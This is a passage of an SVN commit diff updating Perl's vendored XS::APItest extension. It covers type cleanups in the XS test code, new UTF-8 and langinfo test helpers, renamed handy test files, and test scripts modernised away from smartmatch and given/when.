-test_isPSXSPC_utf8(unsigned char * p, int type)
+test_isPSXSPC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5811,9 +5981,9 @@
         RETVAL
 
 bool
-test_isPSXSPC_LC_utf8(unsigned char * p, int type)
+test_isPSXSPC_LC_utf8(U8 * p, int type)
     PREINIT:
-	const unsigned char * e;
+	const U8 * e;
     CODE:
         if (type >= 0) {
             e = p + UTF8SKIP(p) - type;
@@ -5960,7 +6130,49 @@
     OUTPUT:
         RETVAL
 
+#define WORDSIZE            sizeof(PERL_UINTMAX_T)
+
 AV *
+test_is_utf8_invariant_string_loc(U8 *s, STRLEN offset, STRLEN len)
+    PREINIT:
+        AV *av;
+        const U8 * ep = NULL;
+        PERL_UINTMAX_T* copy;
+    CODE:
+        /* 'offset' is number of bytes past a word boundary the testing of 's'
+         * is to start at.  Allocate space that does start at the word
+         * boundary, and copy 's' to the correct offset past it.  Then call the
+         * tested function with that position */
+        Newx(copy, 1 + ((len + WORDSIZE - 1) / WORDSIZE), PERL_UINTMAX_T);
+        Copy(s, (U8 *) copy + offset, len, U8);
+        av = newAV();
+        av_push(av, newSViv(is_utf8_invariant_string_loc((U8 *) copy + offset, len, &ep)));
+        av_push(av, newSViv(ep - ((U8 *) copy + offset)));
+        RETVAL = av;
+        Safefree(copy);
+    OUTPUT:
+        RETVAL
+
+STRLEN
+test_variant_under_utf8_count(U8 *s, STRLEN offset, STRLEN len)
+    PREINIT:
+        PERL_UINTMAX_T * copy;
+    CODE:
+        Newx(copy, 1 + ((len + WORDSIZE - 1) / WORDSIZE), PERL_UINTMAX_T);
+        Copy(s, (U8 *) copy + offset, len, U8);
+        RETVAL = variant_under_utf8_count((U8 *) copy + offset, (U8 *) copy + offset + len);
+        Safefree(copy);
+    OUTPUT:
+        RETVAL
+
+STRLEN
+test_utf8_length(U8 *s, STRLEN offset, STRLEN len)
+CODE:
+    RETVAL = utf8_length(s + offset, s + len);
+OUTPUT:
+    RETVAL
+
+AV *
 test_is_utf8_string_loc(char *s, STRLEN len)
     PREINIT:
         AV *av;
@@ -6210,7 +6422,7 @@
         STRLEN len;
         AV *av;
         SV *utf8;
-	const unsigned char * e;
+	const U8 * e;
         UV resultant_cp = UV_MAX;   /* Initialized because of dumb compilers */
     CODE:
         input = (U8 *) SvPV(p, len);
@@ -6300,7 +6512,7 @@
         STRLEN len;
         AV *av;
         SV *utf8;
-	const unsigned char * e;
+	const U8 * e;
         UV resultant_cp = UV_MAX;
     CODE:
         input = (U8 *) SvPV(p, len);
@@ -6390,7 +6602,7 @@
         STRLEN len;
         AV *av;
         SV *utf8;
-	const unsigned char * e;
+	const U8 * e;
         UV resultant_cp = UV_MAX;
     CODE:
         input = (U8 *) SvPV(p, len);
@@ -6473,7 +6685,7 @@
         STRLEN len;
         AV *av;
         SV *utf8;
-	const unsigned char * e;
+	const U8 * e;
         UV resultant_cp = UV_MAX;
     CODE:
         input = (U8 *) SvPV(p, len);
@@ -6517,6 +6729,13 @@
     OUTPUT:
         RETVAL
 
+SV *
+test_Perl_langinfo(SV * item)
+    CODE:
+        RETVAL = newSVpv(Perl_langinfo(SvIV(item)), 0);
+    OUTPUT:
+        RETVAL
+
 MODULE = XS::APItest		PACKAGE = XS::APItest::Backrefs
 
 void
@@ -6560,12 +6779,12 @@
         if(!dll)
             croak("Comctl32Version: comctl32.dll not in process???");
         hrsc = FindResource(dll,    MAKEINTRESOURCE(VS_VERSION_INFO),
-                                    MAKEINTRESOURCE(VS_FILE_INFO));
+                                    MAKEINTRESOURCE((Size_t)VS_FILE_INFO));
         if(!hrsc)
             croak("Comctl32Version: comctl32.dll no version???");
         ver = LoadResource(dll, hrsc);
         len = SizeofResource(dll, hrsc);
-        vercopy = _alloca(len);
+        vercopy = (void *)sv_grow(sv_newmortal(),len);
         memcpy(vercopy, ver, len);
         if (VerQueryValue(vercopy, "\\", (void**)&info, &len)) {
             int dwValueMS1 = (info->dwFileVersionMS>>16);

Modified: vendor/perl/dist/ext/XS-APItest/APItest_BS
===================================================================
--- vendor/perl/dist/ext/XS-APItest/APItest_BS	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/APItest_BS	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 #
-# test that non-empty .bs files get executed
+# test that non-empty .bs files get executed (but only once)
 
 $bscode = <<'EOF';
-$::bs_file_got_executed = 1;
+$::bs_file_got_executed++;
 EOF
 

Modified: vendor/perl/dist/ext/XS-APItest/Makefile.PL
===================================================================
--- vendor/perl/dist/ext/XS-APItest/Makefile.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/Makefile.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -24,6 +24,7 @@
 		HV_FETCH_ISEXISTS HV_FETCH_LVALUE HV_FETCH_JUST_SV
 		G_SCALAR G_ARRAY G_VOID G_DISCARD G_EVAL G_NOARGS
 		G_KEEPERR G_NODEBUG G_METHOD G_FAKINGEVAL
+		GV_NOADD_NOINIT
 		IS_NUMBER_IN_UV IS_NUMBER_GREATER_THAN_UV_MAX
 		IS_NUMBER_NOT_INT IS_NUMBER_NEG IS_NUMBER_INFINITY
 		IS_NUMBER_NAN IS_NUMBER_TRAILING PERL_SCAN_TRAILING

Modified: vendor/perl/dist/ext/XS-APItest/numeric.xs
===================================================================
--- vendor/perl/dist/ext/XS-APItest/numeric.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/numeric.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -40,7 +40,7 @@
 	const char *pv = SvPV(number, len);
 	UV value = 0xdeadbeef;
 	bool result;
-	const char* endptr;
+	const char* endptr = NULL;
     PPCODE:
 	EXTEND(SP,2);
 	if (endsv == &PL_sv_undef) {

Modified: vendor/perl/dist/ext/XS-APItest/t/autoload.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/autoload.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/autoload.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -80,12 +80,12 @@
 ok(XS::APItest::AUTOLOADtest->can('AUTOLOAD'), 'Test class ->can AUTOLOAD');
 
 # Used to communicate from the XS AUTOLOAD to Perl land
-use vars '$the_method';
+our $the_method;
 
 # First, set up the Perl equivalent to what we're testing in
 # XS so we have a comparison
 package PerlBase;
-use vars '$AUTOLOAD';
+our $AUTOLOAD;
 sub AUTOLOAD {
   Test::More::ok(defined $AUTOLOAD);
   return 1 if not defined $AUTOLOAD;
@@ -94,12 +94,10 @@
 }
 
 package PerlDerived;
-use vars '@ISA';
- at ISA = qw(PerlBase);
+our @ISA = qw(PerlBase);
 
 package Derived;
-use vars '@ISA';
- at ISA = qw(XS::APItest::AUTOLOADtest);
+our @ISA = qw(XS::APItest::AUTOLOADtest);
 
 package main;
 

Modified: vendor/perl/dist/ext/XS-APItest/t/bootstrap.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/bootstrap.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/bootstrap.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,7 +11,7 @@
 use Test::More;
 use XS::APItest;
 
-is $::bs_file_got_executed, 1, "BS file was executed";
+is $::bs_file_got_executed, 1, "BS file was executed once";
 
 done_testing();
 

Modified: vendor/perl/dist/ext/XS-APItest/t/call.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/call.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/call.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -33,7 +33,7 @@
     $call_sv_count++;
 }
 call_sv_C();
-is($call_sv_count, 6, "call_sv_C passes");
+is($call_sv_count, 7, "call_sv_C passes");
 
 sub d {
     die "its_dead_jim\n";

Modified: vendor/perl/dist/ext/XS-APItest/t/fetch_pad_names.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/fetch_pad_names.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/fetch_pad_names.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -321,11 +321,10 @@
        $tests->{pad_size}{invariant}{msg};
 
     for my $var (@{$tests->{vars}}) {
-        no warnings 'experimental::smartmatch';
         if ($var->{type} eq 'ok') {
-            ok $var->{name} ~~ $names_av, $var->{msg};
+            ok +(grep { $_ eq $var->{name} } @$names_av), $var->{msg};
         } else {
-            ok !($var->{name} ~~ $names_av), $var->{msg};
+            ok !(grep { $_ eq $var->{name} } @$names_av), $var->{msg};
         }
     }
 

Added: vendor/perl/dist/ext/XS-APItest/t/get.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/get.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/get.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,22 @@
+
+# Tests for the get_*v functions.
+
+use Test::More tests => 5;
+use XS::APItest;
+
+# XXX So far we only test get_cv.
+
+is get_cv("utf8::encode"), \&utf8::encode, 'get_cv(utf8::encode)';
+
+sub foo { " ooof" } # should be stored in the stash as a subref
+die "Test has been sabotaged: sub foo{} should not create a full glob"
+    unless ref $::{foo} eq 'CODE';
+
+my $subref = get_cv("foo");
+is ref $subref, "CODE", 'got a coderef from get_cv("globless sub")';
+is &$subref, " ooof", 'got the right sub';
+
+sub bar { "burr" }
+$subref = get_cv_flags("bar",GV_NOADD_NOINIT);
+is ref $subref, "CODE", 'got a coderef from get_cv with GV_NOADD_NOINIT';
+is &$subref, "burr", 'got the right sub';

Modified: vendor/perl/dist/ext/XS-APItest/t/grok.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/grok.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/grok.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,6 @@
 use Test::More;
 use Config;
 use XS::APItest;
-use feature 'switch';
 no warnings 'experimental::smartmatch';
 use constant TRUTH => '0 but true';
 
@@ -31,21 +30,15 @@
 
 	{
 	    my (@UV, @NV);
-	    given ($Config{ivsize}) {
-		when (4) {
-		    @UV = qw(429496729  4294967290 4294967294 4294967295);
-		    @NV = qw(4294967296 4294967297 4294967300 4294967304);
-		}
-		when (8) {
-		    @UV = qw(1844674407370955161  18446744073709551610
-			     18446744073709551614 18446744073709551615);
-		    @NV = qw(18446744073709551616 18446744073709551617
-			     18446744073709551620 18446744073709551624);
-		}
-		default {
-		    die "Unknown IV size $_";
-		}
-	    }
+	    if ($Config{ivsize} == 4) {
+		@UV = qw(429496729  4294967290 4294967294 4294967295);
+		@NV = qw(4294967296 4294967297 4294967300 4294967304);
+	    } elsif ($Config{ivsize} == 8) {
+		@UV = qw(1844674407370955161  18446744073709551610
+			 18446744073709551614 18446744073709551615);
+		@NV = qw(18446744073709551616 18446744073709551617
+			 18446744073709551620 18446744073709551624);
+	    } else { die "Unknown IV size $Config{ivsize}" }
 	    foreach (@UV) {
 		my $string = $leader . $_ . $trailer;
 		my ($flags, $value) = grok_number($string);

Modified: vendor/perl/dist/ext/XS-APItest/t/gv_fetchmeth.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/gv_fetchmeth.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/gv_fetchmeth.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-use Test::More tests => 40;
+use Test::More tests => 44;
 
 use_ok('XS::APItest');
 
@@ -45,6 +45,10 @@
 
     sub method { 1 }
 
+    use constant { φου1 => 1,
+                   φου2 => 2,
+                   φου3 => 3, };
+
     my $meth_as_octets =
             "\357\275\215\357\275\205\357\275\224\357\275\210\357\275\217\357\275\204";
 
@@ -53,6 +57,7 @@
         ::is XS::APItest::gv_fetchmeth_type(\%main::, "method", $type, $level, 0), "*main::method", "$types[$type] is UTF-8 clean";
         ::ok !XS::APItest::gv_fetchmeth_type(\%main::, $meth_as_octets, $type, $level, 0);
         ::ok !XS::APItest::gv_fetchmeth_type(\%main::, "method", $type, $level, 0);
+        ::is XS::APItest::gv_fetchmeth_type(\%main::, "φου$type", $type, $level, 0), "*main::φου$type", "$types[$type] can fetch UTF-8 constant";
         
         {
             no strict 'refs';
@@ -65,3 +70,10 @@
         }
     }
 }
+
+{
+    @Foo::ISA = qw/Bar/;
+    @Bar::ISA = qw//;
+
+    is(XS::APItest::gv_fetchmeth_type(\%Foo::, "nomethod", 1, -1, 0), undef, 'gv_fetchmeth_sv survives @ISA traversal');
+}

Deleted: vendor/perl/dist/ext/XS-APItest/t/handy0.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy0.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/handy0.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 0;
-
-do './t/handy_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/handy00.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy00.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/handy00.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 0;
+
+do './t/handy_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/handy01.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy01.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/handy01.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 1;
+
+do './t/handy_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/handy02.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy02.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/handy02.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 2;
+
+do './t/handy_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/handy03.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy03.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/handy03.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 3;
+
+do './t/handy_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/handy04.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy04.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/handy04.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 4;
+
+do './t/handy_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/handy05.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy05.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/handy05.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 5;
+
+do './t/handy_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/handy06.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy06.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/handy06.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 6;
+
+do './t/handy_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/handy07.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy07.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/handy07.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 7;
+
+do './t/handy_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/handy08.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy08.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/handy08.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 8;
+
+do './t/handy_base.pl';

Added: vendor/perl/dist/ext/XS-APItest/t/handy09.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy09.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/handy09.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,7 @@
+use strict;
+use warnings;
+no warnings 'once';
+
+$::TEST_CHUNK = 9;
+
+do './t/handy_base.pl';

Deleted: vendor/perl/dist/ext/XS-APItest/t/handy1.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy1.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/handy1.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 1;
-
-do './t/handy_base.pl';

Deleted: vendor/perl/dist/ext/XS-APItest/t/handy2.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy2.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/handy2.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 2;
-
-do './t/handy_base.pl';

Deleted: vendor/perl/dist/ext/XS-APItest/t/handy3.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy3.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/handy3.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 3;
-
-do './t/handy_base.pl';

Deleted: vendor/perl/dist/ext/XS-APItest/t/handy4.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy4.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/handy4.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 4;
-
-do './t/handy_base.pl';

Deleted: vendor/perl/dist/ext/XS-APItest/t/handy5.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy5.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/handy5.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 5;
-
-do './t/handy_base.pl';

Deleted: vendor/perl/dist/ext/XS-APItest/t/handy6.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy6.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/handy6.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 6;
-
-do './t/handy_base.pl';

Deleted: vendor/perl/dist/ext/XS-APItest/t/handy7.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy7.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/handy7.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 7;
-
-do './t/handy_base.pl';

Deleted: vendor/perl/dist/ext/XS-APItest/t/handy8.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy8.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/handy8.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 8;
-
-do './t/handy_base.pl';

Deleted: vendor/perl/dist/ext/XS-APItest/t/handy9.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy9.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/handy9.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +0,0 @@
-use strict;
-use warnings;
-no warnings 'once';
-
-$::TEST_CHUNK = 9;
-
-do './t/handy_base.pl';

Modified: vendor/perl/dist/ext/XS-APItest/t/handy_base.pl
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/handy_base.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/handy_base.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -168,6 +168,7 @@
 
 # This test is split into this number of files.
 my $num_test_files = $ENV{TEST_JOBS} || 1;
+$::TEST_CHUNK = 0 if $num_test_files == 1 && ! defined $::TEST_CHUNK;
 $num_test_files = 10 if $num_test_files > 10;
 
 my $property_count = -1;

Added: vendor/perl/dist/ext/XS-APItest/t/keyword_plugin_threads.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/keyword_plugin_threads.t	                        (rev 0)
+++ vendor/perl/dist/ext/XS-APItest/t/keyword_plugin_threads.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,32 @@
+#!perl
+use strict;
+use warnings;
+
+require '../../t/test.pl';
+
+use Config;
+if (!$Config{useithreads}) {
+    skip_all("keyword_plugin thread test requires threads");
+}
+
+plan(1);
+
+fresh_perl_is( <<'----', <<'====', {}, "loading XS::APItest in threads works");
+use strict;
+use warnings;
+
+use threads;
+
+require '../../t/test.pl';
+watchdog(5);
+
+for my $t (1 .. 3) {
+    threads->create(sub {
+        require XS::APItest;
+    })->join;
+}
+
+print "all is well\n";
+----
+all is well
+====

Modified: vendor/perl/dist/ext/XS-APItest/t/locale.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/locale.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/locale.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -22,10 +22,7 @@
     }
 }
 
-skip_all("no non-dot radix locales available") unless $non_dot_locale;
 
-plan tests => 2;
-
 SKIP: {
       if ($Config{usequadmath}) {
             skip "no gconvert with usequadmath", 2;
@@ -34,3 +31,118 @@
       use locale;
       is(test_Gconvert(4.179, 2), "4.2", "Gconvert doesn't recognize underlying locale inside 'use locale'");
 }
+
+my %correct_C_responses = (
+        # Entries that are undef could have varying returns
+                            ABDAY_1 => 'Sun',
+                            ABDAY_2 => 'Mon',
+                            ABDAY_3 => 'Tue',
+                            ABDAY_4 => 'Wed',
+                            ABDAY_5 => 'Thu',
+                            ABDAY_6 => 'Fri',
+                            ABDAY_7 => 'Sat',
+                            ABMON_1 => 'Jan',
+                            ABMON_2 => 'Feb',
+                            ABMON_3 => 'Mar',
+                            ABMON_4 => 'Apr',
+                            ABMON_5 => 'May',
+                            ABMON_6 => 'Jun',
+                            ABMON_7 => 'Jul',
+                            ABMON_8 => 'Aug',
+                            ABMON_9 => 'Sep',
+                            ABMON_10 => 'Oct',
+                            ABMON_11 => 'Nov',
+                            ABMON_12 => 'Dec',
+                            ALT_DIGITS => undef,
+                            AM_STR => 'AM',
+                            CODESET => undef,
+                            CRNCYSTR => undef,
+                            DAY_1 => 'Sunday',
+                            DAY_2 => 'Monday',
+                            DAY_3 => 'Tuesday',
+                            DAY_4 => 'Wednesday',
+                            DAY_5 => 'Thursday',
+                            DAY_6 => 'Friday',
+                            DAY_7 => 'Saturday',
+                            D_FMT => undef,
+                            D_T_FMT => undef,
+                            ERA => '',
+                            ERA_D_FMT => undef,
+                            ERA_D_T_FMT => undef,
+                            ERA_T_FMT => undef,
+                            MON_1 => 'January',
+                            MON_2 => 'February',
+                            MON_3 => 'March',
+                            MON_4 => 'April',
+                            MON_5 => 'May',
+                            MON_6 => 'June',
+                            MON_7 => 'July',
+                            MON_8 => 'August',
+                            MON_9 => 'September',
+                            MON_10 => 'October',
+                            MON_11 => 'November',
+                            MON_12 => 'December',
+                            NOEXPR => undef,
+                            NOSTR => undef,
+                            PM_STR => 'PM',
+                            RADIXCHAR => '.',
+                            THOUSEP => '',
+                            T_FMT => undef,
+                            T_FMT_AMPM => undef,
+                            YESEXPR => undef,
+                            YESSTR => undef,
+                        );
+
+my $hdr = "../../perl_langinfo.h";
+open my $fh, "<", $hdr;
+$|=1;
+
+SKIP: {
+    skip "No LC_ALL", 1 unless find_locales( &LC_ALL );
+
+    use POSIX;
+    setlocale(LC_ALL, "C");
+    eval "use I18N::Langinfo qw(langinfo RADIXCHAR); langinfo(RADIXCHAR)";
+    my $has_nl_langinfo = $@ eq "";
+
+    skip "Can't open $hdr for reading: $!", 1 unless $fh;
+
+    my %items;
+
+    # Find all the current items from the header, and their values.
+    # For non-nl_langinfo systems, those values are arbitrary negative numbers
+    # set in the header.  Otherwise they are the nl_langinfo approved values,
+    # which for the moment is the item name.
+    # The relevant lines look like: #  define YESSTR -54
+    while (<$fh>) {
+        chomp;
+        next unless / - \d+ $ /x;
+        s/ ^ \# \s* define \s*//x;
+        m/ (.*) \  (.*) /x;
+        $items{$1} = ($has_nl_langinfo)
+                     ? $1       # Yields 'YESSTR'
+                     : $2;      # Yields -54
+    }
+
+    # Get the translation from item name to numeric value.
+    I18N::Langinfo->import(keys %items) if $has_nl_langinfo;
+
+    foreach my $formal_item (sort keys %items) {
+        if (exists $correct_C_responses{$formal_item}) {
+            my $correct = $correct_C_responses{$formal_item};
+            my $item = eval $items{$formal_item};
+            skip "This platform apparently doesn't support $formal_item", 1 if $@;
+            my $result = test_Perl_langinfo($item);
+            if (defined $correct) {
+                is ($result, $correct,
+                    "Returns expected value" . "('$correct') for $formal_item");
+            }
+            else {
+                ok (defined $result,
+                    "Returns a value (in this case '$result') for $formal_item");
+            }
+        }
+    }
+}
+
+done_testing();

Modified: vendor/perl/dist/ext/XS-APItest/t/loopblock.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/loopblock.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/loopblock.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -70,7 +70,7 @@
 	my $x = "a";
 	$t .= $x;
 	do {
-		no warnings "misc";
+		no warnings "shadow";
 		$t .= $x;
 		my $x = "b";
 		$t .= $x;

Modified: vendor/perl/dist/ext/XS-APItest/t/looprest.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/looprest.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/looprest.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -66,7 +66,7 @@
 	my $x = "a";
 	$t .= $x;
 	do {
-		no warnings "misc";
+		no warnings "shadow";
 		$t .= $x;
 		my $x = "b";
 		$t .= $x;

Modified: vendor/perl/dist/ext/XS-APItest/t/sviscow.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/sviscow.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/sviscow.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,10 +1,10 @@
 use strict;
-use warnings; no warnings 'once';
 
 use Test::More tests => 1;
 
 use XS::APItest;
 use Hash::Util 'lock_value';
+use warnings; no warnings 'once', 'Hash::Util';
 
 my %h;
 $h{g} = *foo;

Modified: vendor/perl/dist/ext/XS-APItest/t/utf8.t
===================================================================
--- vendor/perl/dist/ext/XS-APItest/t/utf8.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/ext/XS-APItest/t/utf8.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,11 +13,117 @@
 
 $|=1;
 
-no warnings 'deprecated'; # Some of the below are above IV_MAX on 32 bit
-                          # machines, and that is tested elsewhere
-
 use XS::APItest;
+use Config;
+my $word_length = defined $Config{quadkind} ? 8 : 4;
 
+# Below we test some byte-oriented functions that look for UTF-8 variant bytes
+# and we know can work on full words at a time.  Hence this is not black box
+# testing.  We know how long a word is.  Suppose it is 4.  We set things up so
+# that we have a string containing 3 bytes followed by 4, followed by 3, and
+# we tell our APItest functions to position the string so it starts at 1 byte
+# past a word boundary.  That way the first 3 bytes are the final ones of a
+# word, and the final 3 are the initial ones of a non-complete word.  This
+# assumes that the initial and final non-full word bytes are treated
+# individually, so we don't have to test the various combinations of partially
+# filled words.
+
+my $offset = 1;  # Start 1 byte past word boundary.
+
+# We choose an invariant and a variant that are at the boundaries between
+# those two types on ASCII platforms.  And, just in case the EBCDIC ever
+# changes to do per-word, we choose arbitrarily an invariant that has most of
+# its bits set natively, and a variant that has most unset.   First create
+# versions for display in the test names.
